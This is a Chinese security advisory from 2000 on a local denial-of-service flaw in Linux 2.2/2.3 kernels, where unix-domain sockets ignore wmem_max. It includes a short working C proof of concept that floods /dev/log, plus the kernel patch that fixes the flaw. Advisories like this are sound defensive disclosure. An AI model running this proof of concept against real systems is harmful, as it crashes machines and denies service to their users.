首页 -> 安全研究

安全研究

安全漏洞
Linux 本地拒绝服务攻击导致内核崩溃

发布日期:2000-03-26
更新日期:2000-04-06

受影响系统:
Linux kernel 2.2.12
             2.2.14
             2.3.99-pre2
不受影响系统:
linux kernel 2.2.14 + Solar Designer's kernel patch
描述:

Linux的unix域名套接字没有考虑/proc/sys/net/core/wmem_max的参数的限制,本地普通
用户可以通过向某个套接字传送大量数据,导致Linux内核分配内存空间时出错,系统停止
响应。必须重新启动系统。

<* 来源:Jay Fenlason (fenlason@CLEARWAY.COM) *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>


char buf[128 * 1024];


int main ( int argc, char **argv )
{
    struct sockaddr SyslogAddr;
    int LogFile;
    int bufsize = sizeof(buf)-5;
    int i;


    for ( i = 0; i < bufsize; i++ )
        buf[i] = ' '+(i%95);
    buf[i] = '\0';


    SyslogAddr.sa_family = AF_UNIX;
    strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) );
    LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
    sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) );
    return 0;
}


建议:

Alan提供了一个针对2.2.15pre-16的patch:
  pre-patch-2.2.15pre-16
可以在下列第之下载:
  ftp.kernel.org/pub/linux/kernel/people/alan

diff -u --new-file --recursive --exclude-from /usr/src/exclude linux.vanilla
/net/unix/af_unix.c linux.15pre16/net/unix/af_unix.c
--- linux.vanilla/net/unix/af_unix.c Sat Aug 14 02:27:46 1999
+++ linux.15pre16/net/unix/af_unix.c Tue Mar 28 17:27:52 2000
@@ -969,6 +969,10 @@
         return -ENOTCONN;
   }


+ err = -EMSGSIZE;
+ if (len > sk->sndbuf)
+ goto out;
+
   if (sock->passcred && !sk->protinfo.af_unix.addr)
      unix_autobind(sock);

注:其他版本的Linux可以参照修改


浏览次数:6789
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障